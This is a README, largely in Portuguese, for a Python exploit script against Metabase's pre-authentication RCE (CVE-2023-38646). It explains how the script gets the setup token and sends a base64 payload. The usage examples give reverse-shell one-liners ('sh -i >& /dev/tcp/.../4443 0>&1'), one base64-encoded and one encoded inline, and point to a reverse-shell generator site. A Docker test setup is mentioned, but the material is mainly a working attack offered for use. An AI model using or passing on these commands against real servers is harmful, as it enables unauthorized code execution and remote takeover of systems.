
Script Python para explorar CVE-2023-38646 Metabase RCE pré-autenticação via injeção de SQL
Script em Python para explorar o Metabase Pre-Auth RCE via injeção de SQL (CVE-2023-38646)
O script faz um GET em /api/session/properties para obter o token de configuração e avaliar a explorabilidade do alvo. Se vulnerável, ele imprimirá o token de configuração; caso contrário, encerrará após uma mensagem de erro.
Se a opção -x for usada e o alvo estiver vulnerável, ele usará o payload fornecido para tentar explorar a vulnerabilidade.
Mais informações neste excelente artigo da equipe que descobriu a vulnerabilidade: https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
Usage: CVE-2023-38646.py [-h] [-x BASE64 PAYLOAD] url
Metabase Pre-Auth RCE Exploit
positional arguments:
url Url of the metabase instance
optional arguments:
-h, --help Show this help message and exit
-x BASE64_PAYLOAD Exploits the vulnerability
Se necessário, você pode subir rapidamente um ambiente de teste em um contêiner Docker usando este comando:
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
Depois de visitar http://127.0.0.1:3000/ para concluir a configuração e iniciar um listener,
Você pode explorar o RCE com algo assim:
python3 ./CVE-2023-38646.py -x c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNDQ0MyAwPiYx http://127.0.0.1:3000/
# If you prefer this and use bash (or anything but fish really)
# you should be able to command substitution to encode your payload directly inline like so
python3 ./CVE-2023-38646.py -x $(echo "sh -i >& /dev/tcp/127.0.0.1/4443 0>&1" | base64) http://127.0.0.1:3000/
ou simplesmente pegue seu próprio reverse shell codificado em base64 visitando revshells.com